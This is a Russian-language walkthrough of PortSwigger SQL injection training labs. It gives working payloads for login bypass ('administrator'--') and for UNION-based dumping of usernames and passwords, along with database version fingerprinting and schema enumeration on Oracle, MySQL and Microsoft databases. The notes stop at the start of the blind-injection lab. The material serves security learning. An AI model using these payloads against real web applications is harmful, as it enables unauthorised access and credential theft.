# ****Лабораторные по SQL**** ### Все лабы на https://portswigger.net/web-security/all-labs, там же можно получить доступ к лабораторным установкам если зарегистрироватся # "SQL injection vulnerability in WHERE clause allowing retrieval of hidden data" или "Уязвимость SQL-инъекций в предложении WHERE, позволяющая извлекать скрытые данные" если говорить на нормальном Крч суть такая, нам дан сайт магазина в котором через SQL запрос выбирается категория товаров которые можно посмотреть, надо высветить все что естьв БД, даже то что не можно посмотреть. Как это сделать: 1. Жмыкаем на любую из категорий (вот сюда v) ![](https://i.imgur.com/55FIik7.png) 2. Ссыла становится с "filter?category=Corporate+gifts" в конце![](https://i.imgur.com/Zloniqm.png) 4. Изменяем категорию на "category='OR 1=1--", чтобы вернулось ВООБЩЕ ВСЕ![](https://i.imgur.com/dIsrJtz.png) Это конец лабы # "SQL injection vulnerability allowing login bypass" или "Уязвимость SQL-инъекции, позволяющая обойти вход в систему" Тут все совсем просто 1. Водим в поле username "administrator'--" Все, вы теперь администратор # SQL "injection UNION attack, determining the number of columns returned by the query"/"Атака UNION с внедрением SQL, определяющая количество столбцов, возвращаемых запросом" 1. Изменяем категрию и ставим туда '+UNION+SELECT+NULL--. получаем ничего потому что ошибка. 2. Добавляем NULL к нашему NULL чтобы у нас получился NULL,NULL--: > '+UNION+SELECT+NULL,NULL-- 3. Продолжаем добавлять NULL пока что нибудь не произойдет или не надоест. Таким образом мы определяем количество столбцов которые возвращает SQL запрос. # "SQL injection UNION attack, finding a column containing text" / "Атака UNION с внедрением SQL, поиск столбца, содержащего текст" 1. В прошлый раз у нас получилось '+UNION+SELECT+NULL,NULL,NULL-- в этот раз берем эту же строчку 2. Заменяем все NULL поочередно на какой нибудь текст, только помнить надо что кавычки ставим '', а не "", а то плохо будет Как пропадет ошибка, так в том столбике и будет столбец с текстом, чтобы получить ачивку о прохождении лабы нужно вернуть конкретный текст, он там сверху на сайте будет написан # "SQL injection UNION attack, retrieving data from other tables" / "SQL-инъекция UNION-атака, получение данных из других таблиц" 1. Определяем сначало сколько таблиц и что они возвращают (как в 2 прошлых лабах) 2. Просим вернуть нам логины и пароли командой %27UNION+SELECT+username,password+FROM+users-- 3. Используем данные админа для входа чтобы получить ачивку # "SQL injection UNION attack, retrieving multiple values in a single column" / "Атака UNION с внедрением SQL, получение нескольких значений в одном столбце" 1. Как в прошлых лабах находим какие нам возвращаются столбцы, но однако вот беда, поле текста только одно, а пароль и логин это две штуки что же делать? 2. Добавить username\||'\~'\||password в команду, чтобы все поместилось в одну переменную! Такая команда получится '+UNION+SELECT+NULL,username\||'\~'||password+FROM+users-- 3. Ну и логинимся как админ чтобы получить ачивку # "SQL injection attack, querying the database type and version on Oracle" / "Атака с внедрением SQL, запрос типа и версии базы данных в Oracle" 1. Как всегда определяем столбцы и все таке командой '+UNION+SELECT+'abc','def'+FROM+dual-- 2. А потом возвращаем версию и всякую другую информацию командой '+UNION+SELECT+BANNER,+NULL+FROM+v$version-- # "SQL injection attack, querying the database type and version on MySQL and Microsoft" / "Атака с внедрением SQL, запрос типа и версии базы данных на MySQL и Microsoft" Похоже у Майкросовт опять все по своему. И опять все через гузно как всегда. 1. Как всегда выясняем столбцы 2. Используем команду ' UNION SELECT NULL,@@version-- - (я если честно хз зачем тут ещё одно -, но без него не работает) # "SQL injection attack, listing the database contents on non-Oracle databases" / "Атака SQL-инъекцией, перечисление содержимого базы данных в базах данных, отличных от Oracle." 1. Проводим уже классическое нахождение количества столбцов '+UNION+SELECT+'abc','def'-- 2. Командой '+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables-- смотрим какие у нас есть таблички 3. Находим табличку в которой у нас данные аутентификации лежат. В нашем случае это users_dfzdub (у вас и подругому может быть) 4. Командой '+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_dfzdub'-- находим столбцы в нашей таблице 5. Командой '+UNION+SELECT+username_abcdef,+password_abcdef+FROM+users_abcdef-- (вставте какие там у вас поля и таблицы) выводим все пароли и логины 6. Заходим на сайт под админом для выполнения ачивки # "SQL injection attack, listing the database contents on Oracle" / "Атака SQL-инъекцией, перечисление содержимого базы данных в Oracle" 1. Для начала конечно находим столбцы командой '+UNION+SELECT+'abc','def'+FROM+dual-- (dual это встроенная таблица в Oracle ДБ) 2. Делаем '+UNION+SELECT+table_name,NULL+FROM+all_tables-- чтобы получить список таблиц 3. Находим таблицу с данными для входа (в моем случае было USERS_DAAOVT, в вашем тоже что то похожее должно быть) 4. Там находим имена столбцов с именами и паролями 5. Вставляем все это в команду '+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ABCDEF'-- и радуемся жизни 6. Не забываем войти в админа чтобы получить ачивку # "Blind SQL injection with conditional responses" / "Слепая инъекция SQL с условными ответами" А для этой лабы, к сожалению, придется скачивать Burp Suite Community Edition, по этой ссылке https://portswigger.net/burp/releases/professional-community-2022-5-1 , ну или просто в Гугл вбейте, если вас, конечно, там не забанили